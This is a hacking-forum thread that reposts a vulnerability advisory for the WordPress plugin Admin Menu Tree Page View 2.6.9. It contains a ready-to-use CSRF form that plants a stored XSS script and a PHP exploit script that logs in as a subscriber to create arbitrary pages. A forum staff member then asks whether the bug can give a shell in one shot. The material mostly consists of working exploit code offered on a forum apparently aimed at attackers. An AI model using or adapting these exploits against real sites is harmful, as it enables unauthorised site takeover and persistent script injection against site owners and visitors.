WordPress Plugin Admin Menu Tree Page View 2.6.9 - Cross-Site Request Forgery / Privilege Escalation

Discussion in 'Exploits & Vulnerabilities' started by quylevhb, Jan 11, 2018.

  1. quylevhb

    quylevhb New Member

    * Exploit Title: Admin Menu Tree Page View [CSRF, Privilege Escalation]
    * Discovery Date: 2017-12-12
    * Exploit Author: Panagiotis Vagenas
    * Author Link: https://twitter.com/panVagenas
    * Vendor Homepage: http://eskapism.se/
    * Software Link: https://wordpress.org/plugins/admin-menu-tree-page-view
    * Version: 2.6.9
    * Tested on: WordPress 4.9.1
    * Category: WebApps, WordPress


    Description
    -----------

    Plugin implements AJAX action `admin_menu_tree_page_view_add_page` which
    calls back the function `admin_menu_tree_page_view_add_page`. The later
    does not implement any anti-CSRF controls or security checks.

    Leveraging a CSRF attack an attacker could perform a Persistent XSS
    attack if the victim has administrative rights (see PoC).

    The AJAX action is a privileged one so it's only available for
    registered users. Even so it doesn't implement any capabilities checks
    so it's available to all users no matter the access level. This could
    allow any registered user to create arbitrary posts no matter the access
    level.

    PoC
    ---

    ### CSRF -> Persistent XSS

    In this PoC we exploit the `$_POST["page_titles"]` param to perform a
    Persistent XSS attack.

    HTML:
    <pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
        <input type="hidden" name="action" value="admin_menu_tree_page_view_add_page">
        <input type="text" name="type" value="after">
        <input type="text" name="pageID" value="1">
        <input type="text" name="post_type" value="page">
        <input type="text" name="page_titles[]" value="<script>alert(1)</script>">
        <input type="text" name="post_status" value="publish">
        <button type="submit" value="Submit">Submit</button>
    </form>
    ### Create Arbitrary Posts

    In this PoC we use a user with subscriber access to create arbitrary
    pages. The post\_type is user defined so in the same manner we could
    create any post type.

    PHP:
    <?php
    /*******************************************************************************
     * Admin Menu Tree Page View [Privilege Escalation]
     *
     * To install deps run `composer require wordfence/exkit`.
     *
     * @author Panagiotis Vagenas <[email protected]>
     * @date 2017-08-09
     ******************************************************************************/
     
    require_once __DIR__ '/vendor/autoload.php';
     
    use 
    Wordfence\ExKit\Cli;
    use 
    Wordfence\ExKit\Config;
    use 
    Wordfence\ExKit\Endpoint;
    use 
    Wordfence\ExKit\ExitCodes;
    use 
    Wordfence\ExKit\WPAuthentication;
     
    Config::get'url.base'nulltrue'Enter the site URL' )
    || 
    ExitCodes::exitWithFailedPrecondition'You must enter a valid URL' );
     
    $s = new \Wordfence\ExKit\Sessionnull, [], [], [ 'timeout' => 60 ] );
    $s->XDebugOn();
     
    Cli::writeInfo'Logging in as subscriber...' );
     
    WPAuthentication::logInAsUserRole$s,
    WPAuthentication::USER_ROLE_SUBSCRIBER );
     
    Cli::writeInfo'Sending payload...' );
     
    $postData = [
        
    'action'      => 'admin_menu_tree_page_view_add_page',
        
    'type'        => 'after',
        
    'pageID'      => '1',
        
    'post_type'   => 'page',
        
    'page_titles' => [ '<script>alert(1)</script>' ],
        
    'post_status' => 'publish',
    ];
     
    $r $s->postEndpoint::adminAjaxURL(), [], $postData);
     
    if(!
    $r->success || !$r->body == '0'){
        
    ExitCodes::exitWithFailed('Failed to retrieve a valid response');
    }
     
    ExitCodes::exitWithSuccess('Exploitation successful');
    ?>
     
  2. Mickey

    Mickey Hacking For Hacker Staff Member

    • Administrator
    có cái nào một phát lên shell luôn không anh nhỉ?
     
  3. quylevhb

    quylevhb New Member

    ko có =="
     

Share This Page